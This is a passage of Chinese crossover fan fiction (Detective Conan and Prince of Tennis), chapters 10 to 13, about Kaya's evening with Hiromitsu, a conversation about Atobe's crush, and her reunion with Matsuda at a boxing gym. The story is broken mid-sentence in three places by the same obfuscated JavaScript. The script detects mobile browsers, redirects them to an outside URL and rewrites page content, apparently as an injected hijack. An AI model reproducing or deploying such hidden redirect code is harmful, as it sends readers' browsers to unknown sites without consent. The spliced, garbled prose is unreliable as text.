“那还是送写真吧。”诸伏景光微微一笑,推翻之前那套“不合适”的理论。 就当做是旁敲侧击,上梁不正下梁歪,希望甚尔收到这份“精心挑选”的礼物后能好好反思自己。 监护人必须以身作则,有些爱好应该适可而止,否则只能收到这种不正经的礼物。 嘉叶:“这才对嘛!” * 走出便利店,嘉叶对景光挥挥手:“那我们下次再见咯,诸伏老师。” “我送你。”把食材装进自行车的篮子里,他将车头调转方向。 “不用不用,”嘉叶婉拒道,“甚尔教过我防身术,就一小段路,不会有事的。” 诸伏景光就这么定定地看着她,灰蓝色的眼眸里盛着沉静的月色,他轻声重复一遍:“我送你。” 见他如此坚持,嘉叶也不好得驳人家的面子,顺势坐到自行车后座上,“好吧。” “诶?”诸伏景光懵了一瞬,旋即严肃了表情,义正词严地指正:“这会违反道路交通法。” 她知道啊,但……那又怎么样呢?反正这附近晚上也没有警察巡逻,违法就违法吧。 哪怕真被抓到也没关系,到时候只要认真道个歉,巡警口头警告几句就会放人走。 “不行就算了,我自己走回去。” 尽管嘴上这么说,可嘉叶却没有要下车的意思,她抬眼盯着诸伏景光看,仿佛在说:你能拿我怎么样? 她今晚超级听话好吧,基本上景光哥说什么都会乖乖照做,“乖巧值”已耗尽,现在就是想要叛逆一下。 就这么僵持了一会儿,诸伏景光最终败下阵来,无奈叹了口气:“仅此一次,下不为例。” “好耶!”椎名嘉叶选手大获全胜。 在景光骑上车后,她就迫不及待地去抱对方的腰,生怕人反悔。 手掌轻轻滑过腰腹,可以明显感觉到腹肌的轮廓,嘉叶睁大了眼,心里十分惊讶。 啊?这么有料?一直以为他属于“文弱书生”类型,身上应该没什么肌肉才对。 真是小瞧他了。 不过想想倒也合理,景光哥可是打算当刑警的人,肯定经常锻炼身体。 “嘉、嘉叶,你不要抱那么紧。” 头顶传来的声音带着一丝颤,似乎很是紧张,嘉叶好奇地抬起头,然后就看见某人藏在发梢里的,发红的耳垂。 她赶紧松开手,反应了两秒,后知后觉地低头看了一眼。 好纯情啊,不愧是清纯男大。 话说景光哥似乎一直没有谈恋爱,是因为没有和女孩子亲密接触过,所以才那么容易害羞吗? 嘉叶虚虚环住他腰,顺口问了句“景光哥,你有喜欢的女生吗?” 自行车行驶在四月的夜里,诸伏景光的心绪被耳旁呼呼而过的风吹得七上八下,他脸上露出苦笑:“没有哦,目前比起谈恋爱,还有更重要的事等着我去做。” “这样啊。” 虽然人家谈不谈都不关她的事,但还是会有那么一点点遗憾。 倒不是因为景光哥不打算恋爱,这种事本就只是生活的调味剂,可有可无。 而是惋惜他由于童年的经历,失去了一些对于普通人而言稀松平常的选择。 景光哥作为那起案子的幸存者,在他想要亲手抓到犯人的同时,说不定犯人也想要找到他,然后斩草除根。 或许基于这个原因,他害怕身边人会受到牵连,所以在案件解决前都不打算谈。 也有可能觉得恋爱特别消耗时间精力,会影响自己查案的进度。 事实究竟如何只有他本人知道了,这一切只是嘉叶的猜想。 * 同一时间,城市中的另一家便利店里,城之内千佳打量了几眼立在收银台前的人,见他两手空空,就问:“要买什么?” 迹部景吾的唇角微微上扬:“你下班之后的时间。” 短暂无语后,千佳看了看电脑屏幕的右下角,淡淡道:“等我十分钟。” 迹部:“好。” 说罢,他快步走向位于窗边的用餐台,给千佳留了个还算潇洒帅气的背影。 盯着他的后脑勺看了两秒,千佳心道:恋爱脑快冲破头皮了。 下一位顾客在结账过后,红着脸试探道:“那、那个,我也想买你下班后的时间。” 男生直勾勾地盯着人瞧,抓着塑料袋的手开始冒汗。 面前的少女过分美丽,自从她来到这家店打工,生意不知比从前好了多少倍。 只要是她工作的时间段,客人都络绎不绝,不少男人大老远跑过来只为能多看她两眼,和她说几句话。 他自己就是其中之一。 只是……没想到那么清纯漂亮的女孩子居然在从事“夜晚的工作”,可正因如此,他才有机会和人家拉近距离。 城之内千佳冷冷地扫了他一眼,面上还是非常尽职尽责地撑起职业假笑,十分平静地说:“刚才那人是我朋友,不好意思哦,本店不提供除了售卖商品之外的服务,如果您有这方面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495405|202465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的需求,可以去神室町逛逛。” “啊!抱歉。”男生大失所望,灰溜溜地离去。 十多分钟后,城之内千佳提着满满一塑料袋的临期食品走向用餐台。 这是便利店员工的专属福利,可以用极低的价格买下这些即将被处理掉的商品。 迹部此人虽然自大臭屁、不可一世,但基本的绅士风度还是有的。 待会一定会送她回家,既然有机会搭便车,不多买一点都对不起自己。 把塑料袋放桌上,千佳瞥了眼有点蔫巴的迹部,露出见怪不怪的眼神,“说吧,又咋了?” 这人大晚上跑过来找她,肯定是因为嘉叶。 事情已经听佑司这个“八卦小王子”说了,他两下午在弓道部闹了点不愉快,差点吵起来。 具体情况佑司倒没提,不过她大概能猜到缘由,十有八九是迹部的少爷病犯了,对嘉叶出言不逊,导致人家当场炸毛。 迹部脑子里过了一遍迄今为止和椎名的所有交集,她看他的眼神,她说话的语气…… 最后,痛定思痛地总结道:“她讨厌我。” “你想多了,”千佳面无表情地安慰说,“她压根就没把你当回事,何来讨厌一说。” 两人在学生会共事五年,迹部早已习惯她这套根本不管别人死活的说话方式,眼角跳了跳,没说什么。 见他不搭话,千佳自顾自地开了口:“你就不能改一改自己那个破态度吗?虽然嘉叶没有提过喜欢什么类型的男生,但根据我对她的了解,多半喜欢温柔暖男那一款。” 半信半疑地看了城之内一会,迹部十分泄气,懊恼似的揉着太阳穴,“本大爷也不知道为什么,明明心里清楚应该怎么做,可是每次都搞砸。” 千佳听的一头雾水,完全无法理解,他是有什么毛病吗?大小脑无法配合? 但她还是尽可能地努力去理解,并想起自己去参加比较重要的面试时,也会因为太紧张而出差错。 这两种情况……也许有某种共通之处吧。 战胜紧张的办法要么改变自己的心态,要么直接解决让自己紧张的人或事。 “你干脆直接表白算了,如果嘉叶知道你喜欢她,一定会理解并原谅你那些愚蠢的行为,她是个会设身处地为人着想的好孩子。” 迹部感到头痛欲裂,“……本大爷就不该来找你商量。” 城之内千佳虽然没有谈过恋爱,也没有喜欢过谁,但她对自己提出的建议十分有自信。 千佳认为谈恋爱和交朋友差不多,想要开始一段关系,肯定需要其中一方优先表达好感,两个人才能有然后。 “不表白也行嘛,你约她出去玩啊,就说知道一家餐厅特别好吃,想让她也尝尝,嘉叶比较馋,一定会跟你去。” 听罢,迹部摇了摇头,“我之前约过,被一口拒绝,她说放学要去玩滑板。” “正好有事也没办法啊,你多约几次嘛,或者提前几天问。” 迹部眉头一皱,“太明显了吧,和直接表白有什么区别?” 感觉自己的耐心即将耗尽,千佳有点咬牙切齿:“屁事真多!” 忽然,面前的玻璃窗被人轻轻扣响,转头一看——是嘉叶。 她笑着对两人挥挥手,旋即快步跑向店门,一阵风似的冲到他们面前,眼里亮起八卦的光。 “你们在约会吗?终于谈上了?” 11.第十一章 迹部景吾猛猛摇头,城之内千佳连连否认:“没有没有没有。” 两人都不想跟对方扯上一丝一毫的暧昧关系,火速澄清。 “是吗?那好吧。”既然当事人都这么说了,嘉叶也就很识趣地没再八卦。 只不过这两人的相处模式真的很像在谈恋爱,学校里经常成双成对,现在连放学后都一起行动。 话说那个迹部居然亲自来便利店买东西,真稀奇,还以为都由家里的佣人代买,他只需要动动嘴皮子。 毕竟这头懒驴在校时从来不去小卖铺排队,都是使唤勤劳学弟桦地去帮他跑腿。 果然……很可疑! 这驴十有八九对千佳有意思,还刚好卡在人家下班的时候过来,哪有那么巧的事? 绝对是他提前调查好的! 虽然嘉叶对迹部没啥好感,但平心而论,他对千佳一直挺客气,如果他是真心喜欢,那她自然也不会从中作梗。 注意到嘉叶略带怀疑的目光,迹部景吾赶紧解释起虚假的缘由:“进来买纸,听她说马上下班了,就想着讨论一□□育祭的事。” 嘉叶指出不寻常之处:“体育祭在五月中下旬,还早着呢。” 更何况门口停了辆劳斯莱斯,这么豪横的车子只可能是迹部家的,按照懒驴的尿性,大可以让司机去买,何必自己跑一趟。 嘉叶不相信他说的话,并且把迹部的解释当做是缺乏诚意和摇摆不定的体现,看他的眼神染上一丝鄙视。 喜欢人家就应该大方一点,解释就是掩饰,搞得跟见不得光似的。 此时的嘉叶还不明白,越是喜欢,越是小心翼翼。 看到她这模样,迹部只觉得心里发苦,不明白为什么又惹大小姐生气了,椎名究竟是有多讨厌他? 意识到气氛有些微妙,城之内千佳连忙开口补充:“今年学校决定弄点不一样的项目,让学生会提前策划,我白天在群里拜托大家帮忙想一想,放学后整理了几条可能用得上的。正巧迹部过来,就想着等下班之后问问他的意见。” 千佳的确在学生群里问了,真话掺杂着假话才能以假乱真。 极其双标的嘉叶必然不会怀疑好友的话,自然而然地接受了这套说辞,并且对迹部产生了歉疚感。 她也不知道自己有什么毛病,总是会把人或事往坏处想,动不动就起疑,觉得陌生人大多没憋什么好屁,半生不熟的人也心怀不轨。 只有经过自己筛选的人,才值得信任。 或许应该改改?尽量克制随意猜忌的坏毛病。 等一下,他刚才说进来买纸,莫非中午真吃坏肚子了?其实是来上厕所,可当着外人的面不好意思说实话,就编造了买纸的一说…… 停,住脑! 不要随便揣测别人,既然迹部说自己是来买纸的,那这就是事实! 尴尬地摸了摸鼻子,心虚的嘉叶只想赶快走人,“那啥,我先撤了啊,路过的时候正好看见你们,就过来打个招呼,也没什么要买的。” 不料步子都没迈出去就被迹部拦下,不管是他的眼神还是语气都和平时不太一样,显得十分客气:“太晚了,不安全,我送你们回去吧。” 嘉叶头上缓缓冒出一个问号,是她的错觉吗?迹部今晚好乖啊!让人想起金斧头银斧头的故事。 “不用啦,你送千佳就好,”嘉叶对人友好一笑,说话的语调都软了几分,“我有人送。” 迹部景吾感到喜忧参半,喜是因为椎名对他的态度有所缓和,忧是因为有人送她。 是谁?问话卡在嘴边没能说出口,他们没那么熟,这个问题有些越界。 如果随意打探,椎名肯定会不爽,好不容易才挽回点印象分,不能再跌了。 好在他有嘴替,千佳不需要顾忌那么多,张口就问:“谁啊?” “景光哥啊。”说罢,嘉叶抬手往外面一指。 一直盯着这边瞧的诸伏景光在他们望过来时,礼貌地微笑点头问好,嘉叶立马笑容灿烂地冲他快速挥挥手。 “那我走啦,拜拜,明天见!” 待她一走,迹部景吾就着急忙慌地问:“那人是谁?居然骑车载她。” 千佳被醋味熏地快睁不开眼,于是果断决定再添两盆,让这怂蛋产生危机感,继而快点行动。 “怎么?你也想载?但我记得某人似乎不会骑自行车。” 出门都由高级私家车接送的迹部连公共交通工具都没有坐过,认为自行车这种东西更是没有骑的必要,自然不会。 他屏蔽了千佳的挖苦,耐着性子又问了一遍:“那人到底是谁?” “佑司的堂哥,嘉叶小时候还说过‘人家长大之后要当景光哥的新娘子哦’,关键他还答应了,我和佑司立刻愉快地决定要给他们当伴娘和伴郎。” 是嘉叶小学二年级的事,起初景光哥是拒绝的,但架不住某个不要脸的玩意儿满地撒泼打滚,又哭又闹。 最后为了哄熊孩子开心,倒霉的景光哥只得被迫低头,捏着鼻子接受这位丢人现眼、任性至极的“未婚妻”。 真实情况千佳当然不可能说,一是为了好友的面子,二是为了让刺激迹部。 就瞧见迹部的身子陡然紧绷了,脸色一寒,眼底蕴含的情绪翻来覆去,最终还是平静下来,沉沉叹了口气。 “如果那人对她好,也行。” 别人两情相悦、两小无猜,还有他什么事? 也行??? 行什么行啦?! 城之内千佳一时间无话可说,有种恨铁不成钢的感觉,但更多的是无奈和惋惜,都喜欢好几年了,就这么放弃啦? 原本只是打算点点他,没想到点过头,直接把人给劝退了。 行吧,她的锅。 千佳忙道:“小时候的事,怎么能作数,他两要谈早谈了,不至于等那么久。” 迹部景吾一记眼刀甩过去,压着火问:“所以你是故意气我?有意思吗?” 城之内千佳缩了缩脖子,做贼心虚地转移话题:“诶呀,你不是说要送我回去嘛,今晚我妈加班,美佳一个人在家等我,快点快点。” 这极其敷衍的态度成功起到了火上浇油的作用,迹部景吾深呼吸了两次,没有发作,只是轻轻啧了一声,起身的同时顺手帮她提起袋子,不耐烦道:“走吧!” 千佳溜须拍马起来:“多谢少爷,您人真好,最后一定能跟心上人喜结连理。” “本大爷谢谢你啊!” * 位于杯户町的某家拳击馆内。 “啊~”松田阵平半睁着眼,趴在桌子上有气无力地打哈欠。 前台的须藤小姐因病请假,老爹松田丈太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507886|202465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郎便委任他这个还没开学的闲蛋儿子前来代班。 昨晚熬夜研究拆炸.弹的松田阵平直呼倒霉,但父命难违,只得硬着头皮接下。 好在今天是工作日,不算忙,晚上才陆陆续续有人来,大多是熟客,也不需要他笑脸相迎地接待。 “叮铃——” 挂在门上的铃铛发出清脆响声,基于职业操守,松田阵平慢悠悠地撑起身子。 一张瓷白的小脸倏地闯入视线,松田愣了愣,瞌睡瞬间离家出走。 不是一般的漂亮啊,浓颜系长相极具视觉冲击力,是那种只要见过一次,就不会忘记的美貌。 个子很高,大概有一米七,走在路上估计半条街的人都会盯着她看。 模特?当红偶像?演员? 就在松田发愣的时候,大美女偏头望过来,她突然睁大了眼,看起来很是惊讶,呆了两三秒后,快步跑过来。 松田阵平不由得有点紧张,立马坐直身子,开启认真营业模式:“您好,是第一次来吗?” 对方选择无视他的问话,十分唐突地说:“请问你叫什么名字?几岁了?我们之前是不是在哪里见过?” “是不是在哪里见过”这套话术松田耳熟能详,是某只姓萩原,名研二的幼驯染搭讪时的常用语。 但面前的人明显不是来搭讪的,紧张和迫切中带着一股子认真劲儿。 把脑海中的记忆抽屉都翻找了一遍,松田阵平十分肯定地表示:“我没见过你,认错人了吧。” 嘉叶盯着面前的卷毛帅哥又看了看,脸上流露出几分歉意:“抱歉,兴许是我弄错了,刚才吓到您了吧,真是不好意思,怪我太冒失。” “没事没事,”松田毫不在意地摆摆手,自我调侃道,“可能因为我有点大众脸。” 话音刚落,嘉叶就急道:“怎么会呢,您是我近期见过长得最好看的人,和大众脸完全扯不上关系。” “啊?”松田阵平懵了,有点怀疑自己方才的判断。 难道真的是来搭讪的?只不过方式比较……别致?确实标新立异,让人印象深刻。 不是,图啥呀? 他今天刚钻出被窝就被老爹逮住,匆匆刷了个牙,甚至都没有洗脸,胡茬也没来得及刮,发型乱七八糟,脸上还挂了两枚闪亮的黑眼圈。 整个人都透出一种邋里邋遢的死宅风,女生应该都喜欢那种干净整洁的男生吧。 想到这,松田阵平不禁开始反思是否自我意识过剩,人家只是出于善意夸了他一句,场面话罢了。 人贵在自知,不要自作多情。 嘉叶的心都快撞破胸膛,脸上的温度一路飙升,担心脸红被他看出来,只好低下头仓促道:“我先去上课,不打扰您工作了。” * 今年是小笠原悠在这家拳击馆工作的第三个年头,面前的小姑娘是她带过最省心的学员。 基础好、悟性高、听课认真、从来不瞎改上课时间,但今天这小姑娘明显没有心思上课。 人虽然在这,但魂已经飞到前台那头去了。 “第七次。” “啊?什么呀?”嘉叶慢半拍地回过头,梦游似的。 小笠原踮起脚尖,凑到她耳边一边憋笑一边说:“这是你偷看阵平的次数,要不你直接坐他旁边好啦?我去给你搬个凳子。” 12.第十二章 听罢,嘉叶略微愣了愣,不慌不忙地搪塞道:“他长得挺好看。” “有眼光,”小笠原赞许地点点头,压低了声音问,“需不需要帮你牵线?他没有女朋友哦。” 女孩子脸皮都薄,十七八岁又正是心思敏感的年纪,自然不可能大张旗鼓地问,更何况周围的人都看着这边呢。 每次嘉叶过来上课,不出五分钟,那些个男学员和男教练就会一个接一个地跑过来刷存在感,占据馆内半壁江山。 可真正有胆子上前搭讪的却是极少数,并且无一例外,都遭遇礼貌婉拒。 在此之前,小笠原悠本以为“大美女没人追”这一说法属于都市传说,没想到确有其事。 美到某种境界确实会让人望而却步,就像是一面擦得过亮的镜子,稍一靠近,身上的种种缺点都无处遁形。 出于自卑亦或是害怕被拒绝的心理,只得默默退回到阴影中去。 “不是你想的那样,”嘉叶平静地澄清,“小的时候他帮过我一个大忙,不对,其实我也不确定是不是同一个人,不过长得真的很像。” 小笠原好奇地眨了眨眼,“多久以前的事?” 嘉叶:“十二年前,那天是圣诞节。” 其实这些年她一直在找他,可是当年他走得太匆忙,连名字都没有留下,线索少得可怜,一直都一无所获。 没想到居然在这里遇到,可能一切都是命运的指引。 可惜对方已经完全把她给忘了,这也没办法,毕竟是十多年前的事了。 “等下课以后直接去问他呗,”小笠原给她打气,“阵平记性挺不错的,你尽量多说一点细节,如果真是他,应该能记起来。” “嗯!” 洗完澡,嘉叶把宍户亮送她的发油抹了一点在头发上,吹干之后感觉整个人都香香的,头发又顺又滑。 如果分叉能消失就更好了……嘉叶现在十分后悔,放学后就应该和亮一起去美发沙龙! 为了掩饰,她把头发编起来,松垮垮地盘了个低矮发髻,成功隐藏的同时也不影响待会戴头盔。 多亏化妆间配备了各种发夹和发饰。 在休息室磨叽了二十多分钟,直到距离闭馆还有五分钟,嘉叶才慢悠悠地走向前台。 今晚一定要把他约出来!找个正儿八经的地方坐着慢慢聊,虽然站在前台那里讲也行,但感觉好随便啊,还是希望能够正式一点。 “您好,我想再买十节私教课。” 正在玩手机的松田阵平一秒切换模式,放下手机礼貌回答:“税后总共六万六千元,请问怎么支付?” “刷卡。” 接过对方递来的银行卡,那不一般的重量和冰凉的金属触感让松田阵平不由得多看了两眼。 不是吧……这好像是传说中的“黑卡”,即美国运通百夫长卡,没有额度上限,仅采用邀请制,只有那些位于金字塔顶尖的富豪才有机会获得。 她是有钱人家的大小姐?松田有些不解,有这经济条件,为什么不直接请人上门教? 不过他也仅仅是疑惑了一瞬间,没有过多纠结。 付完钱,嘉叶若无其事地问:“我平时除了上课不怎么来这边,请问附近有什么好吃的店可以推荐吗?有点饿了。” 运动完肚子饿很正常,松田阵平十分理解这种感受,他认真思索一番后说:“这个点基本上只有快餐店、烧鸟店或者居酒屋还开着,五丁目那边有家叫‘一品炭烤’的烧鸟店味道不错,你可以去试试,离得也不远。” “烧鸟店啊,感觉应该会蛮好吃的,”嘉叶立刻追问,“有什么招牌菜呢?” 聊起这个松田阵平突然来了兴致,滔滔不绝地安利起来:“和牛串、烤鸡胗还有鸡皮都特别好吃……煎饺和拉面更是一绝。诶呀,说着说着我都饿了。” 很好,上钩了。 听罢,嘉叶眉头轻蹙,露出些许苦恼的模样来,“那个……我知道这样说有些突然,请问方不方便和我一起去?我怕找不到,而且这么晚了,一个女生走在路上也不安全。” 啊?她出门都没有保镖跟着吗?难道要他翘班? 松田表情为难地看了眼手机上的时间——十一点整。 正好下班,他也有些饿了,就顺路陪她一起吧,反正也不是什么大事。 方才的为难立刻消失,松田阵平爽快地答应下来:“行,但你要等一下,我得帮忙收拾东西,然后和老板说一声。” 嘉叶内心一阵狂喜,但面上依旧稳如泰山,为了拉进距离,自动省略敬语:“没事,我在哪等你?” 思考片刻,松田弯腰从桌子下方的储物箱里拿出坐垫,垫到自己刚才坐着的椅子上,指了指说:“在这等吧,我尽量快一点,十五分钟之内应该能完事。” “好。” 目送他的背影进到员工休息室,嘉叶终于绷不住了,抬手捂住脸,手掌下的嘴角都快翘到耳朵根。 她在心里欢快地哼起了歌,脚掌轻轻打着节拍。 刚才好怕被拒绝啊!幸好他答应了,否则就只能去找小悠姐拿联系方式了。 其实那家店她以前去过,平时也会和朋友来杯户町这边玩,并且她完全不饿,对自己的身手也很有自信。 好吧,她承认自己确实耍了点小心机,但那又怎么样呢?反正也没有什么坏心思。 只要不是恶意套路别人,玩弄别人的感情就行。 方才又仔细瞧了瞧,嘉叶大概有九成的把握没有认错人,就是他!年龄也对得上。 跟小悠姐说的时候用词比较保守,实际上根本就不是“帮大忙”的问题,而是救了她一命。 假如那时候他没有出现,嘉叶认为自己将会以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507887|202465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 极其悲惨的方式死去。 所以结账时她才特意用了黑卡,为的就是方便他开口问谢礼,不管是车子、房子还是钱,只要他提,她都会送。 大概只过了五分钟,松田阵平就回到了前台,脸微微发红,头发也比之前乱,他的表情有些拘谨:“不好意思久等了,我们走吧。” 嘉叶轻叹:“诶?那么快。” 刚才在休息室发生了什么?他被人调侃了吗? “还好吧。” 松田阵平含糊道,快步走到大门边,他很配合地听从了众人七嘴八舌提出的约会建议,抬手撑住门让女生先走。 尽管他不认为这是约会,这只是单纯地帮忙而已。 “谢谢。” 女孩子轻声道谢,偏头对他笑了笑,松田这才注意到她长了一双十分特别的眼睛。 眼型长而不细,双眼皮的褶皱很深,随着微扬的眼尾,斜斜飞进鬓角去。 虹膜是罕见的金色,瞳孔与常人不同,是竖瞳,就和蛇或是猫一样。 这样的眼睛,他过去见过一次,只不过对方百分百是男孩子,不可能是她。 忽然,一股好闻的香味把松田的思绪拉回来,不算浓郁,是很清新的甜,像是雨后从花苞里探出的香。 门比较窄,她过门时下意识地往他这边靠了靠,胳膊不小心蹭了他一下,随后偏头露出略带歉意的眼神。 ——离得好近,脸和脸的距离不到二十公分,可以清楚地看见她长而密的睫毛,优雅地往上翘着。 心脏快速蹦了几下,松田有些鬼使神差地想:就当做是约会吧。 他叫住她,说:“我叫松田阵平,你呢?” “椎名嘉叶,你叫我嘉叶就好。” 临近满月,充盈的月光落了满地,嘉叶感觉自己的心房也被激动和紧张填得满满当当。 * “给你,备用头盔。” 盯着手里的头盔看了看,松田阵平犯了难。 他面前停了辆纯黑的重型摩托车,嘉叶已经戴好头盔骑了上去,修长的双腿撑着地面,抬手拍了拍身后的座位,“上来吧。” 松田:“……” 本来以为走着去,谁知道她居然是骑车来的,没想到那么文静的小姑娘的座驾居然如此……狂野,像是搞朋克的大叔才会喜欢的款式。 这不是重点,重点是她身后那个座位并不宽敞,而且还没有扶的地方,岂不是只能扶她?还只能贴着人家坐。 由于实在不好意思上车,松田阵平艰难挣扎:“我们可以走过去,离得不远,用不着骑车。” 听到这话,嘉叶抬起头盔上的挡风镜片,认真凝视了他几秒,蓦地露出了然的表情,眼底当即生出几分歉疚。 “抱歉啊松田先生,我没想到你胆子那么小,是我考虑不周,那还是走着去好了。” 13.第十三章 松田阵平“……” 他一时间竟无言以对,不知该作何反应。 少女的嗓音柔软动听,带着几分不谙世事的纯净,有种瓷器般的温润质感。 可说出来的内容,就没那么动听了。 这是在挑衅吗?他找茬都想不出这种话! 然而她的眼神无比真诚,表情十分认真,语气也带着明显的过意不去。 这不是在阴阳怪气,她是真的认为他胆子很小,拒绝上车的原因是不敢坐摩托车。 更气人了好吧!还不如阴阳怪气。 “我怎么可能会怕!” 仗着自己腿长,松田阵平径直跨上后座,小心翼翼地往后挪了几公分,伸出手,规规矩矩地放到她肩膀上。 空气中传来一声轻笑,嘉叶抓过他的手放到自己的腰间,“你最好抱紧一点,我骑得快,当心别掉下去。” 随着话音落下,她踢开脚撑拧动油门,经过改装的车子提速飞快,如同离弦之箭一般飙了出去。 突如其来的后坐力让松田阵平心里一惊,忙不迭地伸长胳膊牢牢环住她的腰。 这人和Hagi的相性一定很好——都以为自己是职业赛车手,完全不管别人的死活! 不多时,二人来到了“一品炭烤”门口。 这是一家百年老店,保持着古色古香的外观,木拉门上镶嵌着磨砂玻璃,暖黄色的光透了出来,在冷色调的街道上投射出一个个菱形的小方块,像某种动物的鳞片。 拉开门的瞬间,热气裹挟着烤肉的香味迫不及待地钻入鼻腔,原本不饿的嘉叶在香气的引诱下,立马有了食欲。 只可惜他们来的不是时候,店里塞满了形形色色的人,聚在等候区的顾客都有十多个,也不知道还要等多久。 “好多人啊,要不换一家?”嘉叶问,她本就是醉翁之意不在酒,去哪里吃都一样。 过了好几秒,身旁的松田都没有反应。 扭头去看,只见松田阵平的视线落在等候区,他的眼睛稍稍睁大,反射出惊讶的光。 可那边坐了很多人,也不知道具体在看谁。 见到熟人了?为什么不上去打招呼?难道是有过节的人?那还是直接走吧。 “要不我们换一家?”嘉叶扯了扯他的衣袖,再次提议。 松田收回目光,眼底沉着不易察觉的怅然和落寞,他飞速敛去不该有的情绪,不露声色地点了下头,“好,你想吃什么?” 顺手拉开门的嘉叶心思全在吃上,全然没有注意到他这细微的变化,目光正好瞟到街对面的金拱门,空座不少。 “我……” “阵平!” 开门的手顿住,嘉叶扭头循声望去。 一位留着浅褐色长发的年轻女人快步朝他们走来,满面欣喜,她后头还跟着个穿西装的高个子男人。 想必这位就是方才松田先生一直在看的人吧,嘉叶下意识地偏眸观察松田的表情。 只见他的眼角飞快地抽动了一下,脸上闪过一丝尴尬,勉强挤了个笑,有些僵硬地抬起手,跟来人打了声招呼:“真巧啊,千速。” 什么情况?为什么那么慌?该不会……欠钱不还吧!这也太糟糕了。 不不不。 嘉叶把这荒谬的想法赶出脑子,女方的表现还蛮开心的,不像是来讨债的,也不像和他有矛盾。 还能因为什么?男女之间那点事? 也许松田先生单恋人家?看到喜欢的女人在和其他男人约会,他只想赶紧走。 嘉叶有些好奇地打量起褐发女人,二十多岁,应该比松田先生大一点,相貌十分出众,特别是那双湛蓝的眼眸,让人联想到神奈川的海。 “好久不见呀,没想到会在这里遇到。” 萩原千速大方地寒暄起来,目光顺势落地嘉叶身上,露出随和而友善的微笑,不加掩饰地赞美道:“哇,这是你女朋友吗?好漂亮啊!” “我……” 嘉叶正打算澄清,谁知道身旁的松田阵平竟然毫无征兆地给她安排了个新身份:“啊对。” 嘉叶:“……” 无语了两秒,她内心开启认真吐槽模式:对你个大头鬼啦!我怎么不知道!话说你不是喜欢人家吗?干嘛要把自己的后路全部堵死啊喂! 难道并非喜欢,而是爱过?见白月光有了新欢,男人该死的胜负欲作祟,就顺势承认了对方的猜测。 只能说——男人至死是少年,真幼稚! 如果是其他刚认识的异性敢这么对她,嘉叶铁定会炸,甩脸子走人前还要把对方怼到怀疑人生。 可毕竟是松田先生,她不可以恩将仇报,故意拆台让人难堪。 这女朋友她当还不行吗?!就陪他演一次! 嘉叶略微一点头,嘴角扬起恰到好处的弧度,“谢谢,你也很好看。我叫椎名嘉叶,初次见面请多关照。” 这种时候默认就行,越自然越好。 没必要再特地强调一遍身份,也不需要突然表现得很亲密,那样会很假,三流演员才会犯这种低级错误。 “我叫萩原千速,是阵平发小的姐姐,”她抬手指了指旁边的西装男,“这位是真壁凑。” 话音刚落,店员的声音突然响起来:“152号顾客请就餐。” “是我们的号,”萩原千速从兜里拿出一张白色的纸,并对二人发出热情的邀请,“不如一起吃吧,你们刚来,估计得等很久。” “诶?可以吗?”嘉叶将目光投向身旁的“男朋友”,把决定权交给对方,“阵平觉得怎么样?” 虽然她很想走,但对方是松田先生认识的人,拒绝的话由他来开口更合适。 松田阵平万般心虚地低头和她对视,面对这清澈而无辜的眼神,他只觉无地自容,后悔到想扇自己两耳光! 刚才也不知道是抽什么风,嘴比脑子快,等脑子追上去才发现为时已晚,他撒了个弥天大谎。 原本已经做好被臭骂一顿的心理准备,但没想到她居然那么配合,为了把戏做足,甚至还改口叫他的名字。 多好的孩子啊! 十七八岁正是长身体的年纪,不能再让孩子继续挨饿了,松田阵平郑重一颔首:“那就一起吃。” “嗯。” 尽管面色平静,但嘉叶的内心十分惊讶。 这两人没事吧,都不需要避嫌吗?哪怕是假女友,明面上也是女友啊,就这么带着“现任”和白月光坐一桌吃饭合理吗? 还是说她太保守,成年男女之间都是如此洒脱不羁,不拘泥于过往。 亦或是萩原小姐不知道松田先生喜欢她,那松田先生又是为什么答应? 不懂,不理解,成年人的世界好复杂。 在服务员的带领下,四人依次落座。虽说是小桌,但两人并排坐也不算拥挤。 刚坐下,萩原千速就忍不住八卦起来,“你们什么时候谈的啊?我都没听研二说。” 研二?嘉叶想着这位应该就是松田先生的发小吧。 “最近。”松田阵平拿起茶杯战术性喝水,说多错多,他选择尽量少说话。 听罢,萩原千速又问:“怎么谈上的?” 这回换嘉叶回答,作为一个撒谎如喝水的人,她飞速打好腹稿,表现出两分娇羞,俨然一副怀春少女姿态。 “我对他一见钟情,好不容易才鼓起勇气上去搭讪,没想到他真的会同意交换联系方式,然后就开始约会,上周刚在一起。” 一直默不作声的真壁凑神情古怪地往这边看过来,面上露出些许不可思议,但他很快调整好表情,语气温和道:“冒昧问一句,最后是谁表的白?” “我。”松田阵平赶紧应声。 